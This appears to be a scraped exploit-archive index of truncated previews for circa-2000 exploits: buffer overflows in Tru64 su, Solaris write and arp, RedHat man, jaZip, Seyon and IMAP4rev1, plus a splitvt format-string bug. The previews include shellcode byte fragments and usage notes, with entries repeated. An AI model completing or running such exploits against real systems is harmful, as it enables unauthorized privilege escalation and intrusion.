Tru64 5 - su Env Local Stack Overflow

Tru64 5 - su Env Local Stack Overflow / Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / The copyright notice above does not evidence any / / actual or intended publication of such source code. / / / / Title: Tru64 5 su / / Tested under: Tru6...

Tru64 5 (su) Env Local Stack Overflow Exploit

Exploit for tru64 platform in category local exploits ============================================= Tru64 5 su Env Local Stack Overflow Exploit ============================================= / Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / T...

Tru64 5 - 'su' Env Local Stack Overflow

/ Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / The copyright notice above does not evidence any / / actual or intended publication of such source code. / / / / Title: Tru64 5 su / / Tested under: Tru64 5A OSF/1 / / By: K2 thx horizon,lamo...

jaZip 0.32-2 - Local Buffer Overflow

jaZip 0.32-2 - Local Buffer Overflow !/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable: Turbolinux 6.0 teleh0r@localhost teleh0r$ rpm -q jaZip jaZip-0.32-2 teleh0r@localhost teleh0r$ ./jazip-exploit.pl Address: 0xbffff7ac bash $shellcode...

Solaris 2.62.7 - usrbinwrite Local Overflow

Solaris 2.62.7 - usrbinwrite Local Overflow include include / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl %esp,%eax"; ch...

Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit

Exploit for solaris platform in category local exploits ======================================================= Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit ======================================================= include include / /usr/bin/write overflow proof of conecpt. Tested on...

jaZip 0.32-2 Local Buffer Overflow Exploit

Exploit for linux platform in category local exploits ========================================== jaZip 0.32-2 Local Buffer Overflow Exploit ========================================== !/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable:...

Solaris 2.6/2.7 - '/usr/bin/write' Local Overflow

include include / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl %esp,%eax"; char shell =...

jaZip 0.32-2 - Local Buffer Overflow

!/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable: Turbolinux 6.0 teleh0r@localhost teleh0r$ rpm -q jaZip jaZip-0.32-2 teleh0r@localhost teleh0r$ ./jazip-exploit.pl Address: 0xbffff7ac bash $shellcode = Shellcode by: Taeho Oh "\xeb\x1f"....

RedHat 6.1 - man Local Overflow Local Privilege Escalation

RedHat 6.1 - man Local Overflow Local Privilege Escalation !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"...

IMAP4rev1 10.190 - Authentication Stack Overflow

IMAP4rev1 10.190 - Authentication Stack Overflow !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80"...

IMAP4rev1 10.190 Authentication Stack Overflow Exploit

Exploit for linux platform in category remote exploits ====================================================== IMAP4rev1 10.190 Authentication Stack Overflow Exploit ====================================================== !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by:...

Redhat 6.1 man Local Exploit (egid 15)

Exploit for linux platform in category local exploits ====================================== Redhat 6.1 man Local Exploit egid 15 ====================================== !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - email protected $shellcode =...

RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation

!/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"...

IMAP4rev1 10.190 - Authentication Stack Overflow

!/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80". "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89"...

Debian 2.2 - splitvt Format String

Debian 2.2 - splitvt Format String // source: https://www.securityfocus.com/bid/2210/info splitvt is a VT100 window splitter, designed to allow the user two command line interfaces in one terminal window, originally written by Sam Lantinga. It is freely available, open source, and included with...

Solaris 78-beta - ARP Local Overflow

Solaris 78-beta - ARP Local Overflow / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax"...

Seyon 2.1 rev. 4b i586-Linux (RedHat 4.05.1) - Local Overflow

Seyon 2.1 rev. 4b i586-Linux RedHat 4.05.1 - Local Overflow !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ ||...

Solaris 7 / 8-beta arp Local Overflow Exploit

Exploit for solaris platform in category local exploits ============================================= Solaris 7 / 8-beta arp Local Overflow Exploit ============================================= / arp overflow proof of concept by email protected shellcode originally written by Cheez Whiz. tested o...

Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux

Exploit for linux platform in category local exploits ===================================================== Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux ===================================================== !/usr/bin/perl c Copyright email protected / anno domani 2000 Seyon Exploit /...